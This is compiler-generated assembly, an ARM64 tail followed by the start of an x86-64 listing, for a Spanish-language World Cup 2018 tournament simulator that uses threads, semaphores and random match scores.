bl _sem_wait
b LBB23_3
LBB23_3: ; in Loop: Header=BB23_1 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB23_1
LBB23_4:
adrp x0, l_.str.45@PAGE
add x0, x0, l_.str.45@PAGEOFF
str x0, [sp, #8] ; 8-byte Folded Spill
bl _printf
adrp x0, l_.str.56@PAGE
add x0, x0, l_.str.56@PAGEOFF
bl _printf
ldr x0, [sp, #8] ; 8-byte Folded Reload
bl _printf
sub x0, x29, #16
mov x3, #0
str x3, [sp, #16] ; 8-byte Folded Spill
mov x1, x3
adrp x2, _jugar_partido_49@PAGE
add x2, x2, _jugar_partido_49@PAGEOFF
bl _pthread_create
ldr x3, [sp, #16] ; 8-byte Folded Reload
sub x0, x29, #24
mov x1, x3
adrp x2, _jugar_partido_50@PAGE
add x2, x2, _jugar_partido_50@PAGEOFF
bl _pthread_create
ldr x3, [sp, #16] ; 8-byte Folded Reload
sub x0, x29, #32
mov x1, x3
adrp x2, _jugar_partido_51@PAGE
add x2, x2, _jugar_partido_51@PAGEOFF
bl _pthread_create
ldr x3, [sp, #16] ; 8-byte Folded Reload
sub x0, x29, #40
mov x1, x3
adrp x2, _jugar_partido_52@PAGE
add x2, x2, _jugar_partido_52@PAGEOFF
bl _pthread_create
ldr x3, [sp, #16] ; 8-byte Folded Reload
add x0, sp, #48
mov x1, x3
adrp x2, _jugar_partido_53@PAGE
add x2, x2, _jugar_partido_53@PAGEOFF
bl _pthread_create
ldr x3, [sp, #16] ; 8-byte Folded Reload
add x0, sp, #40
mov x1, x3
adrp x2, _jugar_partido_54@PAGE
add x2, x2, _jugar_partido_54@PAGEOFF
bl _pthread_create
ldr x3, [sp, #16] ; 8-byte Folded Reload
add x0, sp, #32
mov x1, x3
adrp x2, _jugar_partido_55@PAGE
add x2, x2, _jugar_partido_55@PAGEOFF
bl _pthread_create
ldr x3, [sp, #16] ; 8-byte Folded Reload
add x0, sp, #24
mov x1, x3
adrp x2, _jugar_partido_56@PAGE
add x2, x2, _jugar_partido_56@PAGEOFF
bl _pthread_create
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #112
ret
.cfi_endproc
; -- End function
.globl _jugar_cuartos ; -- Begin function jugar_cuartos
.p2align 2
_jugar_cuartos: ; @jugar_cuartos
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _winer_octavos@PAGE
add x8, x8, _winer_octavos@PAGEOFF
str x8, [sp, #8] ; 8-byte Folded Spill
stur wzr, [x29, #-4]
b LBB24_1
LBB24_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #8
cset w8, ge
tbnz w8, #0, LBB24_4
b LBB24_2
LBB24_2: ; in Loop: Header=BB24_1 Depth=1
adrp x0, _sem_octavos@GOTPAGE
ldr x0, [x0, _sem_octavos@GOTPAGEOFF]
bl _sem_wait
b LBB24_3
LBB24_3: ; in Loop: Header=BB24_1 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB24_1
LBB24_4:
adrp x0, l_.str.45@PAGE
add x0, x0, l_.str.45@PAGEOFF
bl _printf
adrp x0, l_.str.61@PAGE
add x0, x0, l_.str.61@PAGEOFF
bl _printf
ldr x8, [sp, #8] ; 8-byte Folded Reload
adrp x9, _winer_octavos@PAGE
ldr x0, [x9, _winer_octavos@PAGEOFF]
ldr x1, [x8, #8]
mov w2, #0
adrp x3, _winer_cuartos@PAGE
add x3, x3, _winer_cuartos@PAGEOFF
str x3, [sp] ; 8-byte Folded Spill
bl _jugar_partido_winners
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x3, [sp] ; 8-byte Folded Reload
ldr x0, [x8, #32]
ldr x1, [x8, #40]
mov w2, #1
bl _jugar_partido_winners
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x3, [sp] ; 8-byte Folded Reload
ldr x0, [x8, #16]
ldr x1, [x8, #24]
mov w2, #2
bl _jugar_partido_winners
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x3, [sp] ; 8-byte Folded Reload
ldr x0, [x8, #48]
ldr x1, [x8, #56]
mov w2, #3
bl _jugar_partido_winners
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _jugar_semis ; -- Begin function jugar_semis
.p2align 2
_jugar_semis: ; @jugar_semis
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _winer_cuartos@PAGE
str x8, [sp, #8] ; 8-byte Folded Spill
adrp x8, _winer_cuartos@PAGE
add x8, x8, _winer_cuartos@PAGEOFF
str x8, [sp, #16] ; 8-byte Folded Spill
adrp x0, l_.str.45@PAGE
add x0, x0, l_.str.45@PAGEOFF
bl _printf
adrp x0, l_.str.65@PAGE
add x0, x0, l_.str.65@PAGEOFF
bl _printf
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x0, [x9, _winer_cuartos@PAGEOFF]
ldr x1, [x8, #8]
mov w2, #0
adrp x3, _winer_semis@PAGE
add x3, x3, _winer_semis@PAGEOFF
stur x3, [x29, #-8] ; 8-byte Folded Spill
bl _jugar_partido_winners
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldur x3, [x29, #-8] ; 8-byte Folded Reload
ldr x0, [x8, #16]
ldr x1, [x8, #24]
mov w2, #1
bl _jugar_partido_winners
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _jugar_final ; -- Begin function jugar_final
.p2align 2
_jugar_final: ; @jugar_final
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _winer_semis@PAGE
str x8, [sp, #16] ; 8-byte Folded Spill
adrp x8, _winer_semis@PAGE
add x8, x8, _winer_semis@PAGEOFF
str x8, [sp, #24] ; 8-byte Folded Spill
adrp x0, l_.str.45@PAGE
add x0, x0, l_.str.45@PAGEOFF
stur x0, [x29, #-8] ; 8-byte Folded Spill
bl _printf
adrp x0, l_.str.66@PAGE
add x0, x0, l_.str.66@PAGEOFF
bl _printf
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x0, [x9, _winer_semis@PAGEOFF]
ldr x1, [x8, #8]
mov w2, #0
adrp x8, _champion@PAGE
stur x8, [x29, #-16] ; 8-byte Folded Spill
adrp x3, _champion@PAGE
add x3, x3, _champion@PAGEOFF
bl _jugar_partido_winners
ldur x0, [x29, #-8] ; 8-byte Folded Reload
bl _printf
ldur x8, [x29, #-16] ; 8-byte Folded Reload
ldr x8, [x8, _champion@PAGEOFF]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.67@PAGE
add x0, x0, l_.str.67@PAGEOFF
bl _printf
ldur x0, [x29, #-8] ; 8-byte Folded Reload
bl _printf
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, _sem_grupos@GOTPAGE
ldr x0, [x0, _sem_grupos@GOTPAGEOFF]
mov w2, #0
stur w2, [x29, #-4] ; 4-byte Folded Spill
mov x1, x2
bl _sem_init
ldur w2, [x29, #-4] ; 4-byte Folded Reload
adrp x0, _sem_octavos@GOTPAGE
ldr x0, [x0, _sem_octavos@GOTPAGEOFF]
mov x1, x2
bl _sem_init
ldur w2, [x29, #-4] ; 4-byte Folded Reload
adrp x0, _sem_cuartos@GOTPAGE
ldr x0, [x0, _sem_cuartos@GOTPAGEOFF]
mov x1, x2
bl _sem_init
ldur w2, [x29, #-4] ; 4-byte Folded Reload
adrp x0, _sem_semi@GOTPAGE
ldr x0, [x0, _sem_semi@GOTPAGEOFF]
mov x1, x2
bl _sem_init
mov x0, #0
bl _time
; kill: def $w0 killed $w0 killed $x0
bl _srand
bl _jugar_grupos
bl _jugar_octavos
bl _jugar_cuartos
bl _jugar_semis
bl _jugar_final
ldur w0, [x29, #-4] ; 4-byte Folded Reload
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "A"
l_.str.1: ; @.str.1
.asciz "B"
l_.str.2: ; @.str.2
.asciz "C"
l_.str.3: ; @.str.3
.asciz "D"
l_.str.4: ; @.str.4
.asciz "E"
l_.str.5: ; @.str.5
.asciz "F"
l_.str.6: ; @.str.6
.asciz "G"
l_.str.7: ; @.str.7
.asciz "H"
.section __DATA,__data
.globl _grupos_labels ; @grupos_labels
.p2align 3
_grupos_labels:
.quad l_.str
.quad l_.str.1
.quad l_.str.2
.quad l_.str.3
.quad l_.str.4
.quad l_.str.5
.quad l_.str.6
.quad l_.str.7
.section __TEXT,__cstring,cstring_literals
l_.str.8: ; @.str.8
.asciz "Rusia"
l_.str.9: ; @.str.9
.asciz "Arabia Saudita"
l_.str.10: ; @.str.10
.asciz "Egipto"
l_.str.11: ; @.str.11
.asciz "Uruguay"
.section __DATA,__data
.globl _grupo_A ; @grupo_A
.p2align 3
_grupo_A:
.quad l_.str.8
.quad l_.str.9
.quad l_.str.10
.quad l_.str.11
.globl _grupo_A_favoritos ; @grupo_A_favoritos
.p2align 2
_grupo_A_favoritos:
.long 1 ; 0x1
.long 0 ; 0x0
.long 0 ; 0x0
.long 1 ; 0x1
.globl _grupo_A_puntos ; @grupo_A_puntos
.zerofill __DATA,__common,_grupo_A_puntos,128,2
.section __TEXT,__cstring,cstring_literals
l_.str.12: ; @.str.12
.asciz "Portugal"
l_.str.13: ; @.str.13
.asciz "Espa\303\261a"
l_.str.14: ; @.str.14
.asciz "Marruecos"
l_.str.15: ; @.str.15
.asciz "Ir\303\241n"
.section __DATA,__data
.globl _grupo_B ; @grupo_B
.p2align 3
_grupo_B:
.quad l_.str.12
.quad l_.str.13
.quad l_.str.14
.quad l_.str.15
.globl _grupo_B_favoritos ; @grupo_B_favoritos
.p2align 2
_grupo_B_favoritos:
.long 1 ; 0x1
.long 1 ; 0x1
.long 0 ; 0x0
.long 0 ; 0x0
.globl _grupo_B_puntos ; @grupo_B_puntos
.zerofill __DATA,__common,_grupo_B_puntos,128,2
.section __TEXT,__cstring,cstring_literals
l_.str.16: ; @.str.16
.asciz "Francia"
l_.str.17: ; @.str.17
.asciz "Australia"
l_.str.18: ; @.str.18
.asciz "Peru"
l_.str.19: ; @.str.19
.asciz "Dinamarca"
.section __DATA,__data
.globl _grupo_C ; @grupo_C
.p2align 3
_grupo_C:
.quad l_.str.16
.quad l_.str.17
.quad l_.str.18
.quad l_.str.19
.globl _grupo_C_favoritos ; @grupo_C_favoritos
.p2align 2
_grupo_C_favoritos:
.long 1 ; 0x1
.long 0 ; 0x0
.long 0 ; 0x0
.long 0 ; 0x0
.globl _grupo_C_puntos ; @grupo_C_puntos
.zerofill __DATA,__common,_grupo_C_puntos,128,2
.section __TEXT,__cstring,cstring_literals
l_.str.20: ; @.str.20
.asciz "Argentina"
l_.str.21: ; @.str.21
.asciz "Islandia"
l_.str.22: ; @.str.22
.asciz "Croacia"
l_.str.23: ; @.str.23
.asciz "Nigeria"
.section __DATA,__data
.globl _grupo_D ; @grupo_D
.p2align 3
_grupo_D:
.quad l_.str.20
.quad l_.str.21
.quad l_.str.22
.quad l_.str.23
.globl _grupo_D_favoritos ; @grupo_D_favoritos
.p2align 2
_grupo_D_favoritos:
.long 1 ; 0x1
.long 0 ; 0x0
.long 0 ; 0x0
.long 0 ; 0x0
.globl _grupo_D_puntos ; @grupo_D_puntos
.zerofill __DATA,__common,_grupo_D_puntos,128,2
.section __TEXT,__cstring,cstring_literals
l_.str.24: ; @.str.24
.asciz "Brasil"
l_.str.25: ; @.str.25
.asciz "Suiza"
l_.str.26: ; @.str.26
.asciz "Costa Rica"
l_.str.27: ; @.str.27
.asciz "Serbia"
.section __DATA,__data
.globl _grupo_E ; @grupo_E
.p2align 3
_grupo_E:
.quad l_.str.24
.quad l_.str.25
.quad l_.str.26
.quad l_.str.27
.globl _grupo_E_favoritos ; @grupo_E_favoritos
.p2align 2
_grupo_E_favoritos:
.long 1 ; 0x1
.long 0 ; 0x0
.long 0 ; 0x0
.long 0 ; 0x0
.globl _grupo_E_puntos ; @grupo_E_puntos
.zerofill __DATA,__common,_grupo_E_puntos,128,2
.section __TEXT,__cstring,cstring_literals
l_.str.28: ; @.str.28
.asciz "Alemania"
l_.str.29: ; @.str.29
.asciz "Mexico"
l_.str.30: ; @.str.30
.asciz "Suecia"
l_.str.31: ; @.str.31
.asciz "Korea del Sur"
.section __DATA,__data
.globl _grupo_F ; @grupo_F
.p2align 3
_grupo_F:
.quad l_.str.28
.quad l_.str.29
.quad l_.str.30
.quad l_.str.31
.globl _grupo_F_favoritos ; @grupo_F_favoritos
.p2align 2
_grupo_F_favoritos:
.long 1 ; 0x1
.long 1 ; 0x1
.long 0 ; 0x0
.long 0 ; 0x0
.globl _grupo_F_puntos ; @grupo_F_puntos
.zerofill __DATA,__common,_grupo_F_puntos,128,2
.section __TEXT,__cstring,cstring_literals
l_.str.32: ; @.str.32
.asciz "Belgica"
l_.str.33: ; @.str.33
.asciz "Panama"
l_.str.34: ; @.str.34
.asciz "Tunez"
l_.str.35: ; @.str.35
.asciz "Inglaterra"
.section __DATA,__data
.globl _grupo_G ; @grupo_G
.p2align 3
_grupo_G:
.quad l_.str.32
.quad l_.str.33
.quad l_.str.34
.quad l_.str.35
.globl _grupo_G_favoritos ; @grupo_G_favoritos
.p2align 2
_grupo_G_favoritos:
.long 0 ; 0x0
.long 0 ; 0x0
.long 0 ; 0x0
.long 1 ; 0x1
.globl _grupo_G_puntos ; @grupo_G_puntos
.zerofill __DATA,__common,_grupo_G_puntos,128,2
.section __TEXT,__cstring,cstring_literals
l_.str.36: ; @.str.36
.asciz "Polonia"
l_.str.37: ; @.str.37
.asciz "Senegal"
l_.str.38: ; @.str.38
.asciz "Colombia"
l_.str.39: ; @.str.39
.asciz "Jap\303\263n"
.section __DATA,__data
.globl _grupo_H ; @grupo_H
.p2align 3
_grupo_H:
.quad l_.str.36
.quad l_.str.37
.quad l_.str.38
.quad l_.str.39
.globl _grupo_H_favoritos ; @grupo_H_favoritos
.p2align 2
_grupo_H_favoritos:
.long 0 ; 0x0
.long 0 ; 0x0
.long 1 ; 0x1
.long 0 ; 0x0
.globl _grupo_H_puntos ; @grupo_H_puntos
.zerofill __DATA,__common,_grupo_H_puntos,128,2
.section __TEXT,__cstring,cstring_literals
l_.str.40: ; @.str.40
.asciz "%s ,"
l_.str.41: ; @.str.41
.asciz "%d ,"
l_.str.42: ; @.str.42
.asciz "\n"
l_.str.43: ; @.str.43
.asciz "Resultado %s %d -- %s %d \n"
l_.str.44: ; @.str.44
.asciz "Invalid instancia\n"
.comm _sem_grupos,4,2 ; @sem_grupos
l_.str.45: ; @.str.45
.asciz "***************************************** \n"
l_.str.46: ; @.str.46
.asciz "* JUGANDO FASE DE GRUPOS * \n"
l_.str.47: ; @.str.47
.asciz "Wp49"
l_.str.48: ; @.str.48
.asciz "Wp50"
l_.str.49: ; @.str.49
.asciz "Wp51"
l_.str.50: ; @.str.50
.asciz "Wp52"
l_.str.51: ; @.str.51
.asciz "Wp53"
l_.str.52: ; @.str.52
.asciz "Wp54"
l_.str.53: ; @.str.53
.asciz "Wp55"
l_.str.54: ; @.str.54
.asciz "Wp56"
.section __DATA,__data
.globl _winer_octavos ; @winer_octavos
.p2align 3
_winer_octavos:
.quad l_.str.47
.quad l_.str.48
.quad l_.str.49
.quad l_.str.50
.quad l_.str.51
.quad l_.str.52
.quad l_.str.53
.quad l_.str.54
.section __TEXT,__cstring,cstring_literals
l_.str.55: ; @.str.55
.asciz "Jugando partido entre %s y %s \n"
.comm _sem_octavos,4,2 ; @sem_octavos
l_.str.56: ; @.str.56
.asciz "* JUGANDO OCTAVOS * \n"
l_.str.57: ; @.str.57
.asciz "Wp57"
l_.str.58: ; @.str.58
.asciz "Wp58"
l_.str.59: ; @.str.59
.asciz "Wp59"
l_.str.60: ; @.str.60
.asciz "Wp60"
.section __DATA,__data
.globl _winer_cuartos ; @winer_cuartos
.p2align 3
_winer_cuartos:
.quad l_.str.57
.quad l_.str.58
.quad l_.str.59
.quad l_.str.60
.section __TEXT,__cstring,cstring_literals
l_.str.61: ; @.str.61
.asciz "Jugando cuartos \n"
l_.str.62: ; @.str.62
.asciz "Wp61"
l_.str.63: ; @.str.63
.asciz "Wp62"
.section __DATA,__data
.globl _winer_semis ; @winer_semis
.p2align 3
_winer_semis:
.quad l_.str.62
.quad l_.str.63
.section __TEXT,__cstring,cstring_literals
l_.str.64: ; @.str.64
.asciz "Wfinal"
.section __DATA,__data
.globl _champion ; @champion
.p2align 3
_champion:
.quad l_.str.64
.section __TEXT,__cstring,cstring_literals
l_.str.65: ; @.str.65
.asciz "Jugando semis \n"
l_.str.66: ; @.str.66
.asciz "Jugando final \n"
l_.str.67: ; @.str.67
.asciz "El nuevo campeon del mundo es %s \n"
.comm _sem_cuartos,4,2 ; @sem_cuartos
.comm _sem_semi,4,2 ; @sem_semi
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _print_tabla_grupo ## -- Begin function print_tabla_grupo
.p2align 4, 0x90
_print_tabla_grupo: ## @print_tabla_grupo
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movl $0, -20(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
cmpl $4, -20(%rbp)
jge LBB0_8
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movq (%rax,%rcx,8), %rsi
leaq L_.str.40(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -24(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $8, -24(%rbp)
jge LBB0_6
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movq -16(%rbp), %rax
movslq -20(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movslq -24(%rbp), %rcx
movl (%rax,%rcx,4), %esi
leaq L_.str.41(%rip), %rdi
movb $0, %al
callq _printf
## %bb.5: ## in Loop: Header=BB0_3 Depth=2
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB0_3
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.42(%rip), %rdi
movb $0, %al
callq _printf
## %bb.7: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_1
LBB0_8:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _llenar_tabla ## -- Begin function llenar_tabla
.p2align 4, 0x90
_llenar_tabla: ## @llenar_tabla
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl %edx, -16(%rbp)
movl %ecx, -20(%rbp)
movl %r8d, -24(%rbp)
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl 4(%rax), %ecx
addl $1, %ecx
movq -8(%rbp), %rax
movslq -12(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, 4(%rax)
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl 4(%rax), %ecx
addl $1, %ecx
movq -8(%rbp), %rax
movslq -16(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, 4(%rax)
movl -20(%rbp), %eax
cmpl -24(%rbp), %eax
jle LBB1_2
## %bb.1:
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl (%rax), %ecx
addl $3, %ecx
movq -8(%rbp), %rax
movslq -12(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, (%rax)
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl 8(%rax), %ecx
addl $1, %ecx
movq -8(%rbp), %rax
movslq -12(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, 8(%rax)
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl 16(%rax), %ecx
addl $1, %ecx
movq -8(%rbp), %rax
movslq -16(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, 16(%rax)
jmp LBB1_6
LBB1_2:
movl -20(%rbp), %eax
cmpl -24(%rbp), %eax
jne LBB1_4
## %bb.3:
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl (%rax), %ecx
addl $1, %ecx
movq -8(%rbp), %rax
movslq -12(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, (%rax)
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl (%rax), %ecx
addl $1, %ecx
movq -8(%rbp), %rax
movslq -16(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, (%rax)
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl 12(%rax), %ecx
addl $1, %ecx
movq -8(%rbp), %rax
movslq -12(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, 12(%rax)
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl 12(%rax), %ecx
addl $1, %ecx
movq -8(%rbp), %rax
movslq -16(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, 12(%rax)
jmp LBB1_5
LBB1_4:
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl (%rax), %ecx
addl $3, %ecx
movq -8(%rbp), %rax
movslq -16(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, (%rax)
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl 8(%rax), %ecx
addl $1, %ecx
movq -8(%rbp), %rax
movslq -16(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, 8(%rax)
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl 16(%rax), %ecx
addl $1, %ecx
movq -8(%rbp), %rax
movslq -12(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, 16(%rax)
LBB1_5:
jmp LBB1_6
LBB1_6:
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl 20(%rax), %ecx
addl -20(%rbp), %ecx
movq -8(%rbp), %rax
movslq -12(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, 20(%rax)
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl 20(%rax), %ecx
addl -24(%rbp), %ecx
movq -8(%rbp), %rax
movslq -16(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, 20(%rax)
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl 24(%rax), %ecx
addl -24(%rbp), %ecx
movq -8(%rbp), %rax
movslq -12(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, 24(%rax)
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl 24(%rax), %ecx
addl -20(%rbp), %ecx
movq -8(%rbp), %rax
movslq -16(%rbp), %rdx
shlq $5, %rdx
addq %rdx, %rax
movl %ecx, 24(%rax)
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl $0, 28(%rax)
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl $0, 28(%rax)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _jugar_partido ## -- Begin function jugar_partido
.p2align 4, 0x90
_jugar_partido: ## @jugar_partido
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl %edx, -12(%rbp)
movq %rcx, -24(%rbp)
movq %r8, -32(%rbp)
movq %r9, -40(%rbp)
movq -24(%rbp), %rax
movslq -4(%rbp), %rcx
movq (%rax,%rcx,8), %rax
movq %rax, -48(%rbp)
movq -24(%rbp), %rax
movslq -8(%rbp), %rcx
movq (%rax,%rcx,8), %rax
movq %rax, -56(%rbp)
movl $1, -68(%rbp)
movl $1, -72(%rbp)
movl $0, -76(%rbp)
movq -40(%rbp), %rax
movslq -4(%rbp), %rcx
cmpl $0, (%rax,%rcx,4)
je LBB2_2
## %bb.1:
movl $7, -68(%rbp)
movl $3, -76(%rbp)
LBB2_2:
movq -40(%rbp), %rax
movslq -8(%rbp), %rcx
cmpl $0, (%rax,%rcx,4)
je LBB2_4
## %bb.3:
movl $7, -72(%rbp)
movl $3, -76(%rbp)
LBB2_4:
callq _rand
movl -68(%rbp), %ecx
cltd
idivl %ecx
movl -76(%rbp), %eax
addl %eax, %edx
movl %edx, -60(%rbp)
callq _rand
movl -72(%rbp), %ecx
cltd
idivl %ecx
movl -76(%rbp), %eax
addl %eax, %edx
movl %edx, -64(%rbp)
movq -48(%rbp), %rsi
movl -60(%rbp), %edx
movq -56(%rbp), %rcx
movl -64(%rbp), %r8d
leaq L_.str.43(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl -12(%rbp), %eax
testl %eax, %eax
jne LBB2_6
jmp LBB2_5
LBB2_5:
movq -32(%rbp), %rdi
movl -4(%rbp), %esi
movl -8(%rbp), %edx
movl -60(%rbp), %ecx
movl -64(%rbp), %r8d
callq _llenar_tabla
jmp LBB2_7
LBB2_6:
leaq L_.str.44(%rip), %rdi
movb $0, %al
callq _printf
LBB2_7:
addq $80, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _jugar_grupo_A ## -- Begin function jugar_grupo_A
.p2align 4, 0x90
_jugar_grupo_A: ## @jugar_grupo_A
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
leaq _grupo_A(%rip), %rcx
movq %rcx, -40(%rbp) ## 8-byte Spill
leaq _grupo_A_puntos(%rip), %r8
movq %r8, -32(%rbp) ## 8-byte Spill
leaq _grupo_A_favoritos(%rip), %r9
movq %r9, -24(%rbp) ## 8-byte Spill
movl $1, %esi
movl %esi, -48(%rbp) ## 4-byte Spill
xorl %edx, %edx
movl %edx, -12(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $2, %esi
movl %esi, -52(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movl -48(%rbp), %esi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $3, %esi
movl %esi, -44(%rbp) ## 4-byte Spill
callq _jugar_partido
movl -48(%rbp), %esi ## 4-byte Reload
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
